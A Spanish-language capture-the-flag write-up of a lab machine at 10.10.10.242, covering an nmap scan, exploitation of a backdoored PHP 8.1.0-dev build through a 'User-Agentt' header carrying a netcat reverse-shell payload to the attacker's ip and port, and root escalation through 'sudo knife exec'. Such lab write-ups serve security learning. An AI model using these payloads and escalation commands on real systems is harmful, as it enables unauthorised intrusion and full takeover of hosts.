Machine IP: 10.10.10.242
DATE : 28/08/2021
Matriz de la maquina
Esta matriz nos muestra las características de explotación de la maquina.

Reconocimiento
Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(j3sm0n㉿kali)-[~]
└─$ nmap -sC -sV 10.10.10.242 148 ⨯ 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 02:03 EDT
Nmap scan report for 10.10.10.242
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.02 seconds
Como vemos tiene el puerto 80 abierto, que es el http, veremos en el navegador de que se trata y analizaremos la web
Wappalyzer
Usando la extensión wappalizer para identificar las tecnologías usadas en la web, encontramos que la web está alojado en servidor apache 2.4.41 y está construido en php 8.1.

Method 1
Al hacer un poco de research encontramos la siguiente vulnerabilidad PHP 8.1.0-dev - ‘User-Agentt’ Remote Code Execution - PHP webapps Exploit , que se aprovecha del backdoor que fue fue dejado en esta version de PHP , haciendo uso del User-Agent, para ejecutar comandos. El siguiente exploit utiliza una puerta trasera para proporcionar un pseudo shell en el host.

Method 2
Pero para no estar solo ejecutando el exploit y obteniendo una shell así de facil, haremos uso de burpsuite y netcat para establecer una shell reversa en nuestra maquina.
Estableciendo un listener en nuestra maquina

BurpSuite
Como ya sabemos que la vulnerabilidad está en agregar el User-Agent, mandaremos al repeater para ejecutar la consulta agregando User-Agentt: zerodiumsystem('rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip puerto >/tmp/f'); reemplazando la ip y el puerto por tu ip y establecido en netcat, este es un payload sacado de PayloadsAllTheThings, intenté con el netcat normal, pero al parecer la maquina tenia otra versión de netcat y la de busybox me funcionó.

Mandamos la consulta y game over, obtenemos una shell con el usuario james y obtenemos el user.txt

Escalamiento de privilegios
Luego de obtener acceso a una Shell con el usuario james, ejecutamos el comando
1
sudo -l
Para saber que comandos se pueden ejecutar con permisos SUID, esto habilitaría la ejecución con permisos root.

Vemos que se puede ejecutar el comando knife con permisos de root, pero no sabemos de que se trata este comando, entonces listaremos las opciones que tiene este comando y encontramos una opción llamada exec que es un comando de ejecución, con el cual se puede invocar una shell.

Ejecutamos el comando para invocar una shell
1
sudo /usr/bin/knife exec --exec "exec '/bin/sh -i'"

Game over! Obtenemos acceso root y el root.txt.
Gracias por leer y happy hacking.
